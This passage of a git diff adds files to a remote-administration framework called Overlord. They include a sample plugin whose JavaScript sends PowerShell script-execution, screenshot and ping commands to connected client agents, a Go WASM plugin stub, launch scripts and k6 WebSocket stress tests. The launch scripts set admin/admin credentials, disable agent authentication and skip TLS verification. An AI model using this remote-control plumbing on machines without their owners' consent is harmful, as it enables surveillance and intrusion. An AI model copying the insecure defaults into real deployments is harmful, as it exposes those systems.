border-radius: 8px; + border: 1px solid #2a3346; + background: #0f131b; + color: #e8ecf1; +} + +.actions { + display: flex; + gap: 10px; + margin-top: 10px; +} + +.btn { + background: #3b82f6; + color: #fff; + border: none; + padding: 10px 14px; + border-radius: 8px; + cursor: pointer; + font-weight: 600; +} + +.btn:hover { + background: #2563eb; +} + +.log { + min-height: 120px; + background: #0f131b; + border-radius: 8px; + border: 1px solid #2a3346; + padding: 12px; + white-space: pre-wrap; +} diff --git a/plugin-sample-go/sample.html b/plugin-sample-go/sample.html new file mode 100644 index 0000000..999371b --- /dev/null +++ b/plugin-sample-go/sample.html @@ -0,0 +1,48 @@ + + + + + + Sample Plugin + + + +
+
+

Sample Plugin

+

Go WASM + UI plugin

+
+ +
+
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + + + +
+
+ +
+

Log

+

+      
+
+ + + + diff --git a/plugin-sample-go/sample.js b/plugin-sample-go/sample.js new file mode 100644 index 0000000..a82deb4 --- /dev/null +++ b/plugin-sample-go/sample.js @@ -0,0 +1,103 @@ +const params = new URLSearchParams(window.location.search); +const clientIdInput = document.getElementById("client-id"); +const messageInput = document.getElementById("message"); +const msgBoxInput = document.getElementById("msgbox"); +const logEl = document.getElementById("log"); +const sendBtn = document.getElementById("send-btn"); +const pingBtn = document.getElementById("ping-btn"); +const msgBoxBtn = document.getElementById("msgbox-btn"); +const runCmdBtn = document.getElementById("run-cmd-btn"); + +const pluginId = "sample"; +const clientIdFromUrl = params.get("clientId") || ""; +clientIdInput.value = clientIdFromUrl; +messageInput.value = "hello from sample UI"; +msgBoxInput.value = "Hello from Overlord"; + +function log(line) { + const ts = new Date().toISOString(); + logEl.textContent = `${ts} ${line}\n` + logEl.textContent; +} + +async function sendEvent(event, payload) { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/plugins/${pluginId}/event`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ event, payload }), + }); + if (!res.ok) { + const text = await res.text(); + log(`Send failed: ${res.status} ${text}`); + return; + } + log(`Sent event: ${event}`); +} + +sendBtn.addEventListener("click", () => { + const message = messageInput.value.trim(); + sendEvent("ui_message", { message }); +}); + +pingBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "ping_bulk", count: 100 }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Ping test failed: ${msg}`); + return; + } + log("Ping test x100 dispatched (single request)"); +}); + +msgBoxBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const text = msgBoxInput.value.trim() || "Hello from Overlord"; + const script = `$os = $env:OS; if ($os -ne 'Windows_NT') { exit } ; Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('${text.replace(/'/g, "''")}') | Out-Null`; + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "script_exec", script, scriptType: "powershell" }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Message box failed: ${msg}`); + return; + } + log("Message box command sent (Windows only)"); +}); + +runCmdBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "screenshot" }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Command failed: ${msg}`); + return; + } + log("Command sent: screenshot"); +}); diff --git a/plugin-sample-go/wasm/go.mod b/plugin-sample-go/wasm/go.mod new file mode 100644 index 0000000..8e2fd88 --- /dev/null +++ b/plugin-sample-go/wasm/go.mod @@ -0,0 +1,5 @@ +module plugin-sample-go/wasm + +go 1.21 + +require github.com/vmihailenco/msgpack/v5 v5.4.1 diff --git a/plugin-sample-go/wasm/main.go b/plugin-sample-go/wasm/main.go new file mode 100644 index 0000000..9c58604 --- /dev/null +++ b/plugin-sample-go/wasm/main.go @@ -0,0 +1,76 @@ +package main + +import ( + "log" + "os" + + "github.com/vmihailenco/msgpack/v5" +) + +type Incoming struct { + Type string `msgpack:"type"` + Event string `msgpack:"event,omitempty"` + Payload interface{} `msgpack:"payload,omitempty"` +} + +type Outgoing struct { + Type string `msgpack:"type"` + Event string `msgpack:"event,omitempty"` + Payload interface{} `msgpack:"payload,omitempty"` +} + +type UiMessage struct { + Message string `msgpack:"message"` +} + +type HostInfo struct { + ClientID string `msgpack:"clientId"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` +} + +type InitPayload struct { + Host HostInfo `msgpack:"host"` +} + +func main() { + dec := msgpack.NewDecoder(os.Stdin) + enc := msgpack.NewEncoder(os.Stdout) + + for { + var msg Incoming + if err := dec.Decode(&msg); err != nil { + log.Printf("decode error: %v", err) + return + } + + switch msg.Type { + case "init": + var init InitPayload + if payloadBytes, err := msgpack.Marshal(msg.Payload); err == nil { + _ = msgpack.Unmarshal(payloadBytes, &init) + } + + osName := init.Host.OS + if osName == "" { + osName = "unknown" + } + + if osName == "windows" { + log.Printf("[sample] windows detected - you can use WinAPI-specific flows") + _ = enc.Encode(Outgoing{Type: "event", Event: "ready", Payload: "sample plugin ready (windows detected)"}) + } else { + log.Printf("[sample] non-windows host detected (%s)", osName) + _ = enc.Encode(Outgoing{Type: "event", Event: "ready", Payload: "sample plugin ready"}) + } + case "event": + if msg.Event == "ui_message" { + payloadBytes, _ := msgpack.Marshal(msg.Payload) + var ui UiMessage + _ = msgpack.Unmarshal(payloadBytes, &ui) + _ = enc.Encode(Outgoing{Type: "event", Event: "echo", Payload: ui.Message}) + } + } + } +} diff --git a/start-dev-client.sh b/start-dev-client.sh new file mode 100644 index 0000000..ddec487 --- /dev/null +++ b/start-dev-client.sh @@ -0,0 +1,78 @@ +#!/usr/bin/env bash +set -eu +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +CLIENT_DIR="$ROOT/Overlord-Client" +DIST_DIR="$ROOT/dist-clients" +GO_BIN="${GO_BIN:-go}" +GO_TAGS=() + +if [ "${NO_PRINTING:-false}" = "true" ]; then + echo "[client] printing disabled via build tags" + GO_TAGS+=("-tags" "noprint") +fi + +# detect platform +OS="$(uname -s)" +ARCH="$(uname -m)" +case "$OS" in + Darwin) PLATFORM="mac";; + Linux) PLATFORM="linux";; + *) PLATFORM="unknown";; +esac + +echo "[client] platform detected: $OS ($PLATFORM) arch: $ARCH" + +# determine expected dist binary name +BIN_NAME="" +if [ "$PLATFORM" = "mac" ]; then + if [ "$ARCH" = "x86_64" ]; then + BIN_NAME="agent-darwin-amd64" + else + BIN_NAME="agent-darwin-arm64" + fi +elif [ "$PLATFORM" = "linux" ]; then + BIN_NAME="agent-linux-amd64" +fi + +if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then + echo "[client] found prebuilt client binary: $DIST_DIR/$BIN_NAME" + echo "[client] starting prebuilt agent" + OVERLORD_SERVER="wss://localhost:5173" \ + OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ + OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ + OVERLORD_MODE="dev" \ + "${DIST_DIR:?}/$BIN_NAME" + exit 0 +fi + +echo "[client] no suitable prebuilt client binary found in $DIST_DIR; falling back to 'go run'" + +cd "$CLIENT_DIR" +if ! command -v "$GO_BIN" >/dev/null 2>&1; then + echo "[client] go not found. Set GO_BIN to your Go binary (>=1.21) or install Go." >&2 + exit 1 +fi +GO_VER=$($GO_BIN env GOVERSION 2>/dev/null || true) +GO_MINOR=$(echo "$GO_VER" | sed -E 's/^go[0-9]+\.([0-9]+).*/\1/') +if [ -z "$GO_MINOR" ]; then + echo "[client] unable to determine Go version (got '$GO_VER')." >&2 + exit 1 +fi +if [ "$GO_MINOR" -lt 21 ]; then + echo "[client] Go >=1.21 required (found $GO_VER). Install a newer Go or point GO_BIN to one." >&2 + exit 1 +fi +echo "[client] using go at: $(command -v $GO_BIN) ($GO_VER)" +echo "[client] go mod tidy..." +GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ +"$GO_BIN" mod tidy +echo "[client] starting agent via 'go run'" +OVERLORD_SERVER="wss://localhost:5173" \ +OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ +OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ +OVERLORD_MODE="dev" \ +GOINSECURE="*" \ +GOSUMDB="off" \ +GOPROXY="https://proxy.golang.org,direct" \ +GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ +"$GO_BIN" run "${GO_TAGS[@]}" ./cmd/agent diff --git a/start-dev-server.sh b/start-dev-server.sh new file mode 100644 index 0000000..3508c5a --- /dev/null +++ b/start-dev-server.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +set -eu +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SERVER_DIR="$ROOT/Overlord-Server" +BUN_BIN="${BUN_BIN:-bun}" + +# detect platform +OS="$(uname -s)" +case "$OS" in + Darwin) PLATFORM="mac";; + Linux) PLATFORM="linux";; + *) PLATFORM="unknown";; +esac + +echo "[server] platform detected: $OS ($PLATFORM)" + +cd "$SERVER_DIR" +if ! command -v "$BUN_BIN" >/dev/null 2>&1; then + echo "[server] bun not found. Set BUN_BIN to your bun binary or install bun for this environment." >&2 + exit 1 +fi +echo "[server] using bun at: $(command -v $BUN_BIN)" +echo "[server] bun install..." +"$BUN_BIN" install +echo "[server] starting bun dev (foreground)" +# Use exec so the script process is replaced by the bun process. This keeps the +# bun process as a child of the dispatcher so the dispatcher can kill it. +export OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" +exec "$BUN_BIN" run dev diff --git a/start-dev.bat b/start-dev.bat new file mode 100644 index 0000000..62eb307 --- /dev/null +++ b/start-dev.bat @@ -0,0 +1,34 @@ +@echo off +setlocal +set ROOT=%~dp0 + +if not defined NO_PRINTING set NO_PRINTING=false + + +echo === Ensuring server deps (Bun) === +pushd "%ROOT%Overlord-Server" +echo [server] bun install... +call bun install +popd + +echo === Ensuring client dependencies (Go) === +pushd "%ROOT%Overlord-Client" +if exist go.mod ( + echo [client] go mod tidy... + go mod tidy +) +popd + +echo === Launching windows === +rem Bind server to all interfaces for remote access +set HOST=0.0.0.0 +set PORT=5173 +set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only +set OVERLORD_DISABLE_AGENT_AUTH=true +set LOG_LEVEL=debug + +start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start" +start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent" + +echo Done. Terminals stay open (/k) for logs. +endlocal diff --git a/start-dev.sh b/start-dev.sh new file mode 100644 index 0000000..c93d3b5 --- /dev/null +++ b/start-dev.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +set -eu +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +# Dispatcher script kept for backwards compatibility. +# Usage: +# ./start-dev.sh # start server (background) and client (foreground) +# ./start-dev.sh server # start only server +# ./start-dev.sh client # start only client + +SCRIPT_DIR="$ROOT" +SERVER_SCRIPT="$SCRIPT_DIR/start-dev-server.sh" +CLIENT_SCRIPT="$SCRIPT_DIR/start-dev-client.sh" + +if [ "$#" -eq 0 ]; then + # start server in background, then client in foreground (original behavior) + echo "[start-dev] starting server (background) and client (foreground)" + if [ -x "$SERVER_SCRIPT" ]; then + "$SERVER_SCRIPT" & + SERVER_PID=$! + echo "[start-dev] server started (pid $SERVER_PID)" + else + echo "[start-dev] $SERVER_SCRIPT not found or not executable. Run \"chmod +x $SERVER_SCRIPT\" or run the scripts directly." >&2 + exit 1 + fi + + # Ensure we kill the server child if this script exits or receives a signal. + cleanup() { + echo "[start-dev] cleaning up" + if [ -n "${SERVER_PID:-}" ] && kill -0 "$SERVER_PID" >/dev/null 2>&1; then + echo "[start-dev] killing server (pid $SERVER_PID)" + kill "$SERVER_PID" 2>/dev/null || true + sleep 1 + if kill -0 "$SERVER_PID" >/dev/null 2>&1; then + echo "[start-dev] server did not exit; force killing" + kill -9 "$SERVER_PID" 2>/dev/null || true + fi + fi + } + trap cleanup INT TERM EXIT + + if [ -x "$CLIENT_SCRIPT" ]; then + # run client in foreground; when it exits the trap will run and kill server + "$CLIENT_SCRIPT" + else + echo "[start-dev] $CLIENT_SCRIPT not found or not executable. Run \"chmod +x $CLIENT_SCRIPT\" or run the scripts directly." >&2 + exit 1 + fi + # explicit exit so the EXIT trap runs + exit 0 +fi + +case "$1" in + server) + if [ -x "$SERVER_SCRIPT" ]; then + exec "$SERVER_SCRIPT" + else + echo "[start-dev] $SERVER_SCRIPT not found or not executable." >&2 + exit 1 + fi + ;; + client) + if [ -x "$CLIENT_SCRIPT" ]; then + exec "$CLIENT_SCRIPT" + else + echo "[start-dev] $CLIENT_SCRIPT not found or not executable." >&2 + exit 1 + fi + ;; + *) + echo "Usage: $0 [server|client]" + exit 1 + ;; +esac diff --git a/start-prod.bat b/start-prod.bat new file mode 100644 index 0000000..681605d --- /dev/null +++ b/start-prod.bat @@ -0,0 +1,60 @@ +@echo off +setlocal +set ROOT=%~dp0 + +REM Simple production launcher for Overlord server. +REM Builds the Tailwind CSS and server bundle, then runs the compiled executable. +REM Env overrides you can set before running: +REM PORT=5173 +REM HOST=0.0.0.0 +REM OVERLORD_USER=admin +REM OVERLORD_PASS=admin +REM LOG_LEVEL=info +REM NODE_ENV=production + +if not defined HOST set HOST=0.0.0.0 +if not defined PORT set PORT=5173 +if not defined LOG_LEVEL set LOG_LEVEL=info +if not defined NODE_ENV set NODE_ENV=production + +pushd "%ROOT%Overlord-Server" +echo [build] installing deps (bun install)... +call bun install +if errorlevel 1 goto :err + +echo [build] building Tailwind CSS... +call bun run build:css +if errorlevel 1 goto :err + +echo [build] building server bundle... +call bun run build +if errorlevel 1 goto :err + +echo [build] compiling Windows production executable... +call bun run build:prod:win +if errorlevel 1 goto :err + +echo [build] copying Overlord-Client source for runtime builds... +robocopy "%ROOT%Overlord-Client" "%ROOT%Overlord-Server\dist\Overlord-Client" /E /XD build .git .vscode /NFL /NDL /NJH /NJS >nul +REM robocopy exit codes 0-7 are success +if errorlevel 8 goto :err + +if defined PORT ( + echo [server] starting on port %PORT%... +) else ( + echo [server] starting on default port... +) +echo [server] running compiled executable... +set OVERLORD_ROOT=%ROOT%Overlord-Server +call "%ROOT%Overlord-Server\dist\overlord-server.exe" +popd + +echo Server stopped. +endlocal +exit /b 0 + +:err +popd >nul 2>&1 +echo [error] Build failed. +endlocal +exit /b 1 diff --git a/start-prod.sh b/start-prod.sh new file mode 100644 index 0000000..6723816 --- /dev/null +++ b/start-prod.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +set -euo pipefail +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SERVER_DIR="$ROOT/Overlord-Server" +BUN_BIN="${BUN_BIN:-bun}" + +cd "$SERVER_DIR" +if ! command -v "$BUN_BIN" >/dev/null 2>&1; then + echo "[server] bun not found. Set BUN_BIN to your bun binary or install bun for this environment." >&2 + exit 1 +fi +echo "[server] using bun at: $(command -v $BUN_BIN)" + +echo "[build] bun install..." +"$BUN_BIN" install + +echo "[build] building Tailwind CSS..." +"$BUN_BIN" run build:css + +echo "[build] building server bundle..." +"$BUN_BIN" run build + +echo "[build] compiling Linux production executable..." +"$BUN_BIN" run build:prod:linux + +echo "[build] copying Overlord-Client source for runtime builds..." +mkdir -p "$SERVER_DIR/dist/Overlord-Client" +rsync -a --exclude='build' --exclude='.git' --exclude='.vscode' "$ROOT/Overlord-Client/" "$SERVER_DIR/dist/Overlord-Client/" 2>/dev/null \ + || { cp -a "$ROOT/Overlord-Client" "$SERVER_DIR/dist/Overlord-Client" && rm -rf "$SERVER_DIR/dist/Overlord-Client/build" "$SERVER_DIR/dist/Overlord-Client/.git" "$SERVER_DIR/dist/Overlord-Client/.vscode"; } + +echo "[server] starting compiled executable..." +PORT="${PORT:-5173}" \ +HOST="${HOST:-0.0.0.0}" \ +OVERLORD_USER="${OVERLORD_USER:-admin}" \ +OVERLORD_PASS="${OVERLORD_PASS:-admin}" \ +LOG_LEVEL="${LOG_LEVEL:-info}" \ +NODE_ENV="${NODE_ENV:-production}" \ +OVERLORD_ROOT="$SERVER_DIR" \ +"$SERVER_DIR/dist/overlord-server-linux-x64" diff --git a/stress/flood-10k-runner.bat b/stress/flood-10k-runner.bat new file mode 100644 index 0000000..f328ea4 --- /dev/null +++ b/stress/flood-10k-runner.bat @@ -0,0 +1 @@ +k6 run stress/ws-flood-10k.js --env HOST=127.0.0.1 --env PORT=5173 --env SCHEME=wss --env AGENT_TOKEN=dev-token-insecure-local-only --env TLS_INSECURE=true --env TARGET_VUS=10000 --env RAMP_SEC=300 --env HOLD_SEC=600 --env ROLE=client --env HELLO=1 --env RECONNECT=true --env RECONNECT_DELAY_MS=2000 --env SLICE_SEC=60 \ No newline at end of file diff --git a/stress/soak_runner.sh b/stress/soak_runner.sh new file mode 100644 index 0000000..c431d8c --- /dev/null +++ b/stress/soak_runner.sh @@ -0,0 +1,26 @@ +k6 run stress/ws-soak.js \ + --env HOST=127.0.0.1 \ + --env PORT=5173 \ + --env SCHEME=wss \ + --env AGENT_TOKEN=dev-token-insecure-local-only \ + --env TLS_INSECURE=true \ + --env VUS=2000 \ + --env STEP=500 \ + --env STAGE_SEC=60 \ + --env CLIENT_PREFIX=soak \ + --env ROLE=viewer \ + --env HEARTBEAT_MS=15000 \ + --env HELLO=1 + +# Example 10k flood +# k6 run stress/ws-flood-10k.js \ +# --env HOST=127.0.0.1 \ +# --env PORT=5173 \ +# --env SCHEME=wss \ +# --env AGENT_TOKEN=dev-token-insecure-local-only \ +# --env TLS_INSECURE=true \ +# --env TARGET_VUS=10000 \ +# --env RAMP_SEC=300 \ +# --env HOLD_SEC=600 \ +# --env ROLE=client \ +# --env HELLO=1 \ No newline at end of file diff --git a/stress/ws-flood-10k.js b/stress/ws-flood-10k.js new file mode 100644 index 0000000..d212fb5 --- /dev/null +++ b/stress/ws-flood-10k.js @@ -0,0 +1,125 @@ +import ws from "k6/ws"; +import { sleep, check } from "k6"; + +const HOST = __ENV.HOST || "127.0.0.1"; +const PORT = __ENV.PORT || "5173"; +const SCHEME = __ENV.SCHEME || "wss"; +const ROLE = __ENV.ROLE || "client"; +const CLIENT_PREFIX = __ENV.CLIENT_PREFIX || "flood"; +const AGENT_TOKEN = __ENV.AGENT_TOKEN || ""; +const TLS_INSECURE = __ENV.TLS_INSECURE === "1" || __ENV.TLS_INSECURE === "true"; +const HEARTBEAT_MS = Number(__ENV.HEARTBEAT_MS || 15000); +const INCLUDE_HELLO = __ENV.HELLO !== "0"; +const RECONNECT = __ENV.RECONNECT === "1" || __ENV.RECONNECT === "true"; +const RECONNECT_DELAY_MS = Number(__ENV.RECONNECT_DELAY_MS || 2000); +const SESSION_SEC = Number(__ENV.SESSION_SEC || 0); +const SLICE_SEC = Number(__ENV.SLICE_SEC || 60); + +const TARGET_VUS = Number(__ENV.TARGET_VUS || 10000); +const RAMP_SEC = Number(__ENV.RAMP_SEC || 300); +const HOLD_SEC = Number(__ENV.HOLD_SEC || 600); +const RAMPDOWN_SEC = Number(__ENV.RAMPDOWN_SEC || 120); + +export const options = { + scenarios: { + ws_flood: { + executor: "ramping-vus", + startVUs: 0, + stages: [ + { duration: `${RAMP_SEC}s`, target: TARGET_VUS }, + { duration: `${HOLD_SEC}s`, target: TARGET_VUS }, + { duration: `${RAMPDOWN_SEC}s`, target: 0 }, + ], + gracefulRampDown: "30s", + }, + }, + thresholds: { + ws_connecting: ["p(95)<1500"], + ws_sessions: ["count>0"], + checks: ["rate>0.99"], + }, + insecureSkipTLSVerify: TLS_INSECURE, +}; + +function buildUrl(clientId) { + return `${SCHEME}://${HOST}:${PORT}/api/clients/${clientId}/stream/ws?role=${ROLE}`; +} + +function connectAndHold(url, params, clientId, holdMs) { + let closed = false; + + const res = ws.connect(url, params, (socket) => { + socket.on("open", () => { + if (INCLUDE_HELLO) { + socket.send( + JSON.stringify({ + type: "hello", + id: clientId, + host: "flood", + os: "test", + arch: "x64", + version: "k6", + user: "k6", + monitors: 1, + country: "ZZ", + }), + ); + } + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + socket.setInterval(() => { + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + }, HEARTBEAT_MS); + }); + + socket.on("message", () => { + // consume messages to avoid backpressure + }); + + socket.on("error", (e) => { + console.error(`ws error: ${e.error()}`); + closed = true; + }); + + socket.on("close", () => { + closed = true; + }); + + const start = Date.now(); + while (!closed && Date.now() - start < holdMs) { + sleep(1); + } + }); + + check(res, { + "status 101": (r) => r && r.status === 101, + }); + + return res; +} + +export default function () { + const clientId = `${CLIENT_PREFIX}-${__VU}-${__ITER}`; + const url = buildUrl(clientId); + + const params = {}; + if (AGENT_TOKEN) { + params.headers = { "X-Agent-Token": AGENT_TOKEN }; + } + + const totalSec = SESSION_SEC > 0 ? SESSION_SEC : HOLD_SEC + 60; + + if (!RECONNECT) { + connectAndHold(url, params, clientId, totalSec * 1000); + return; + } + + let remaining = totalSec; + while (remaining > 0) { + const slice = Math.min(remaining, SLICE_SEC); + connectAndHold(url, params, clientId, slice * 1000); + remaining -= slice; + if (remaining > 0) { + sleep(Math.max(RECONNECT_DELAY_MS, 0) / 1000); + } + } +} diff --git a/stress/ws-soak-50k.js b/stress/ws-soak-50k.js new file mode 100644 index 0000000..bf3708a --- /dev/null +++ b/stress/ws-soak-50k.js @@ -0,0 +1,142 @@ +import ws from "k6/ws"; +import { sleep, check } from "k6"; + +// 50k-cap ramp: env-tunable, defaults aim for 50k concurrent sockets. +const HOST = __ENV.HOST || "127.0.0.1"; +const PORT = __ENV.PORT || "5173"; +const SCHEME = __ENV.SCHEME || "wss"; +const AGENT_TOKEN = __ENV.AGENT_TOKEN || ""; +const TLS_INSECURE = __ENV.TLS_INSECURE === "1" || __ENV.TLS_INSECURE === "true"; +const ROLE = __ENV.ROLE || "viewer"; +const CLIENT_PREFIX = __ENV.CLIENT_PREFIX || "soak50k"; +const HEARTBEAT_MS = Number(__ENV.HEARTBEAT_MS || 15000); +const INCLUDE_HELLO = __ENV.HELLO !== "0"; +const METRIC_URL_TAG = __ENV.METRIC_URL_TAG || "ws-stream"; + +// Two-phase ramp then long hold and very slow ramp-down to avoid disconnect storms. +const MAX_VUS = Number(__ENV.VUS || 50000); +const FAST_TARGET = Number(__ENV.FAST_TARGET || 30000); +const FAST_STEP = Number(__ENV.FAST_STEP || 5000); +const FAST_STAGE_SEC = Number(__ENV.FAST_STAGE_SEC || 60); +const SLOW_STEP = Number(__ENV.SLOW_STEP || 1000); +const SLOW_STAGE_SEC = Number(__ENV.SLOW_STAGE_SEC || 150); +const HOLD_SEC = Number(__ENV.HOLD_SEC || 900); // 15m hold by default +const RAMPDOWN_STEP = Number(__ENV.RAMPDOWN_STEP || 2000); +const RAMPDOWN_STAGE_SEC = Number(__ENV.RAMPDOWN_STAGE_SEC || 180); + +const stages = []; +// Rapid phase +for ( + let target = FAST_STEP; + target <= Math.min(FAST_TARGET, MAX_VUS); + target += FAST_STEP +) { + stages.push({ duration: `${FAST_STAGE_SEC}s`, target }); +} +// Slow creep beyond fast target +for ( + let target = FAST_TARGET + SLOW_STEP; + target <= MAX_VUS; + target += SLOW_STEP +) { + stages.push({ duration: `${SLOW_STAGE_SEC}s`, target }); +} +// Hold peak for a long time to minimize churn +stages.push({ duration: `${HOLD_SEC}s`, target: MAX_VUS }); +// Slow ramp-down to avoid close storms +for ( + let target = MAX_VUS - RAMPDOWN_STEP; + target > 0; + target -= RAMPDOWN_STEP +) { + stages.push({ + duration: `${RAMPDOWN_STAGE_SEC}s`, + target: Math.max(target, 0), + }); +} +stages.push({ duration: `${RAMPDOWN_STAGE_SEC}s`, target: 0 }); + +export const options = { + scenarios: { + ws_capacity: { + executor: "ramping-vus", + startVUs: 0, + stages, + gracefulRampDown: "60s", + }, + }, + thresholds: { + ws_connecting: ["p(95)<1500"], + ws_sessions: ["count>0"], + checks: ["rate>0.99"], + }, + insecureSkipTLSVerify: TLS_INSECURE, +}; + +function buildUrl(clientId) { + return `${SCHEME}://${HOST}:${PORT}/api/clients/${clientId}/stream/ws?role=${ROLE}`; +} + +export default function () { + const clientId = `${CLIENT_PREFIX}-${__VU}-${__ITER}`; + const url = buildUrl(clientId); + + const params = { tags: { url: METRIC_URL_TAG, name: METRIC_URL_TAG } }; + if (AGENT_TOKEN) { + params.headers = { "X-Agent-Token": AGENT_TOKEN }; + } + + const res = ws.connect( + url, + params, + (socket) => { + socket.on("open", () => { + if (INCLUDE_HELLO) { + socket.send( + JSON.stringify({ + type: "hello", + id: clientId, + host: "soak", + os: "test", + arch: "x64", + version: "k6", + user: "k6", + monitors: 1, + country: "ZZ", + }), + ); + } + + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + socket.setInterval(() => { + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + }, HEARTBEAT_MS); + // Additional small tick to ensure ws_msgs_sent is >0 even if pings are filtered + socket.setInterval( + () => { + socket.send("tick"); + }, + Math.max(HEARTBEAT_MS / 2, 1000), + ); + }); + + socket.on("message", () => { + // consume messages to avoid backpressure + }); + + socket.on("error", (e) => { + console.error(`ws error: ${e.error()}`); + }); + + socket.on("close", () => { + // closed + }); + + sleep(7200); // hold connections for the full run + }, + ); + + check(res, { + "status 101": (r) => r && r.status === 101, + }); +} diff --git a/stress/ws-soak.js b/stress/ws-soak.js new file mode 100644 index 0000000..1f9773d --- /dev/null +++ b/stress/ws-soak.js @@ -0,0 +1,99 @@ +import ws from "k6/ws"; +import { sleep, check } from "k6"; + +// Env-tunable ramp and endpoints so you can reuse this locally and on a VPS. +const HOST = __ENV.HOST || "127.0.0.1"; +const PORT = __ENV.PORT || "5173"; +const SCHEME = __ENV.SCHEME || "wss"; +const AGENT_TOKEN = __ENV.AGENT_TOKEN || ""; +const TLS_INSECURE = __ENV.TLS_INSECURE === "1" || __ENV.TLS_INSECURE === "true"; +const ROLE = __ENV.ROLE || "viewer"; +const CLIENT_PREFIX = __ENV.CLIENT_PREFIX || "soak"; +const HEARTBEAT_MS = Number(__ENV.HEARTBEAT_MS || 15000); +const INCLUDE_HELLO = __ENV.HELLO !== "0"; // send hello frame once to populate DB/state + +// Ramp shape: default 500 VU every 60s until VUS max. Override via env. +const MAX_VUS = Number(__ENV.VUS || 2000); +const STEP = Number(__ENV.STEP || 500); +const STAGE_SEC = Number(__ENV.STAGE_SEC || 60); +const stages = []; +for (let target = STEP; target <= MAX_VUS; target += STEP) { + stages.push({ duration: `${STAGE_SEC}s`, target }); +} +stages.push({ duration: `${STAGE_SEC}s`, target: MAX_VUS }); + +export const options = { + scenarios: { + ws_capacity: { + executor: "ramping-vus", + startVUs: 0, + stages, + gracefulRampDown: "30s", + }, + }, + thresholds: { + ws_connecting: ["p(95)<1000"], // connect latency + ws_session_duration: ["p(95)>300000"], // keep sessions alive + ws_sessions: ["count>0"], + ws_msgs_sent: ["count>0"], + checks: ["rate>0.99"], + }, + insecureSkipTLSVerify: TLS_INSECURE, +}; + +function buildUrl(clientId) { + return `${SCHEME}://${HOST}:${PORT}/api/clients/${clientId}/stream/ws?role=${ROLE}`; +} + +export default function () { + const clientId = `${CLIENT_PREFIX}-${__VU}-${__ITER}`; + const url = buildUrl(clientId); + + const params = {}; + if (AGENT_TOKEN) { + params.headers = { "X-Agent-Token": AGENT_TOKEN }; + } + + const res = ws.connect(url, params, (socket) => { + socket.on("open", () => { + if (INCLUDE_HELLO) { + socket.send( + JSON.stringify({ + type: "hello", + id: clientId, + host: "soak", + os: "test", + arch: "x64", + version: "k6", + user: "k6", + monitors: 1, + country: "ZZ", + }), + ); + } + + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + socket.setInterval(() => { + socket.send(JSON.stringify({ type: "ping", ts: Date.now() })); + }, HEARTBEAT_MS); + }); + + socket.on("message", () => { + // consume messages to avoid backpressure + }); + + socket.on("error", (e) => { + console.error(`ws error: ${e.error()}`); + }); + + socket.on("close", () => { + // closed + }); + + sleep(3600); // hold connection for the scenario duration + }); + + check(res, { + "status 101": (r) => r && r.status === 101, + }); +}